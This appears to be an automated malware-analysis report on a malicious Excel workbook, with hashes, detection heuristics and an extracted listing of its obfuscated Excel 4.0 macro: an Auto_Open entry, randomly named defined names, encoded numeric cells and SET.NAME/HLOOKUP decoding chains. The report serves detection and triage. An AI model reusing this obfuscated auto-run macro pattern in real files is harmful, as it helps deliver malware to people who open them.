Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97747dad17716bab…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:19 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: b6b063755776b9af17b1965cddeb387d SHA-1: 324a4212d1450345b5e53b34b15f33e3e9e8b05b SHA-256: 97747dad17716bab3868b5cbea923597aa7b5d6aeb1d3843cb3c3fb1f1ae4398
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6818 bytes
SHA-256: c6fce4fd14a3a58fdfed0ae910a0a7e66c0939bdd351cca76c3b43922614d6fa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'iFQsMGewpexn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LHFpFpkz
' 0018     23 LABEL : Cell Value, String Constant - aQAOSrGk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H189 
' 0018     26 LABEL : Cell Value, String Constant - AzCMGwIBpKI len=0 
' 0018     22 LABEL : Cell Value, String Constant - GLQrTpC len=0 
' 0018     26 LABEL : Cell Value, String Constant - HgLiVJKsiQb len=0 
' 0018     21 LABEL : Cell Value, String Constant - hxKdrR len=0 
' 0018     20 LABEL : Cell Value, String Constant - HZAtm len=0 
' 0018     27 LABEL : Cell Value, String Constant - iFQsMGewpexn len=0 
' 0018     20 LABEL : Cell Value, String Constant - jvIFx len=0 
' 0018     26 LABEL : Cell Value, String Constant - lyFFTgtLQyE len=0 
' 0018     26 LABEL : Cell Value, String Constant - mkGpGbATWrW len=0 
' 0018     26 LABEL : Cell Value, String Constant - NpHsoQiNLpy len=0 
' 0018     21 LABEL : Cell Value, String Constant - OFUmYz len=0 
' 0018     26 LABEL : Cell Value, String Constant - qWMduLUzdZS len=0 
' 0018     26 LABEL : Cell Value, String Constant - rQGmYFWFLZH len=0 
' 0018     23 LABEL : Cell Value, String Constant - tjWjVaZg len=0 
' 0018     24 LABEL : Cell Value, String Constant - UmptyobbL len=0 
' 0018     22 LABEL : Cell Value, String Constant - wKqFEVt len=0 
' 0018     21 LABEL : Cell Value, String Constant - xcMFBM len=0 
' 0018     24 LABEL : Cell Value, String Constant - yEzSazbHZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - zDHFJep len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LHFpFpkz,R61,"",623.00000000000000000000
'  LHFpFpkz,R62,"",-365.00000000000000000000
'  LHFpFpkz,R63,"",-877.00000000000000000000
'  LHFpFpkz,R64,"",619.00000000000000000000
'  LHFpFpkz,R65,"",-319.00000000000000000000
'  LHFpFpkz,R66,"",827.00000000000000000000
'  LHFpFpkz,H99,"SET.NAME("tjWjVaZg",0+VALUE("0"))",""
'  LHFpFpkz,H101,"SET.NAME("NpHsoQiNLpy",tjWjVaZg)",""
'  LHFpFpkz,H105,"SET.NAME("HgLiVJKsiQb",tjWjVaZg)",""
'  LHFpFpkz,H109,"SET.NAME("iFQsMGewpexn",COUNTA(hxKdrR))",""
'  LHFpFpkz,H112,"SET.NAME("lyFFTgtLQyE",COUNTA(HZAtm))",""
'  LHFpFpkz,H116,[],""
'  LHFpFpkz,H120,"SET.NAME("rQGmYFWFLZH","")",""
'  LHFpFpkz,H122,"NpHsoQiNLpy",""
'  LHFpFpkz,H126,"SET.NAME("jvIFx",HLOOKUP("*",hxKdrR,NpHsoQiNLpy,FALSE))",""
'  LHFpFpkz,H129,"zDHFJep",""
'  LHFpFpkz,H132,"SET.NAME("wKqFEVt",tjWjVaZg)",""
'  LHFpFpkz,H137,[],""
'  LHFpFpkz,H142,"wKqFEVt",""
'  LHFpFpkz,H145,"UmptyobbL",""
'  LHFpFpkz,H148,"mkGpGbATWrW",""
'  LHFpFpkz,H150,"aQAOSrGk",""
'  LHFpFpkz,H154,"SET.NAME("GLQrTpC",VALUE(HLOOKUP("*",HZAtm,aQAOSrGk,FALSE)))",""
'  LHFpFpkz,H158,"qWMduLUzdZS",""
'  LHFpFpkz,H161,"rQGmYFWFLZH",""
'  LHFpFpkz,H166,"HgLiVJKsiQb",""
'  LHFpFpkz,H168,NEXT(),""
'  LHFpFpkz,H172,"xcMFBM",""
'  LHFpFpkz,H174,[],""
'  LHFpFpkz,H176,"AzCMGwIBpKI",""
'  LHFpFpkz,H180,NEXT(),""
'  LHFpFpkz,H184,RETURN(),""
'  LHFpFpkz,H210,"SET.NAME("yEzSazbHZ",H99)",""
'  LHFpFpkz,H215,"hxKdrR",""
'  LHFpFpkz,H217,"SET.NAME("HZAtm",R63C15)",""
'  LHFpFpkz,H220,"SET.NAME("AzCMGwIBpKI",228)",""
'  LHFpFpkz,H225,"SET.NAME("OFUmYz",8)",""
'  LHFpFpkz,H227,yEzSazbHZ(),""
'  LHFpFpkz,H228,HALT(),""